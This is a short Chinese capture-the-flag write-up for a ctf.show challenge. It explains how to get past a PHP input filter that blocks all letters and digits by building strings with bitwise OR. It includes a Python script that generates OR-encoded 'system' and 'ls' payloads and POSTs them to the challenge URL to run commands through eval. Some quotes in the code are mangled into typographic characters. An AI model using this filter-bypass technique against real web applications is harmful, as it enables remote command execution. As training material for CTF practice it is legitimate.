过滤了所有数字和大小写字母
    全过滤只有一种解法,就是构造字符串
    & 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符
    其中按位异 | 没有过滤,过滤的字符是防异或、自增和取反构造字符

    脚本:
    import re
    import requests

    url=”http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080

    a=[]
    ans1=””
    ans2=””
    for i in range(0,256):
    c=chr(i)
    tmp = re.match(r’[0-9]|[a-z]|\^|+|~|\$|[|]|{|}|\&|-‘,c, re.I)
    if(tmp):
    continue
    #print(tmp.group(0))
    else:
    a.append(i)

    # eval(“echo($c);”);
    mya=”system” #函数名 这里修改!
    myb=”ls” #参数
    def myfun(k,my):
    global ans1
    global ans2
    for i in range (0,len(a)):
    for j in range(i,len(a)):
    if(a[i]|a[j]==ord(my[k])):
    ans1+=chr(a[i])
    ans2+=chr(a[j])
    return;
    for k in range(0,len(mya)):
    myfun(k,mya)
    data1=”(\””+ans1+”\”|\””+ans2+”\”)”
    ans1=””
    ans2=””
    for k in range(0,len(myb)):
    myfun(k,myb)
    data2=”(\””+ans1+”\”|\””+ans2+”\”)”

    data={“c”:data1+data2}
    r=requests.post(url=url,data=data)
    print(r.text)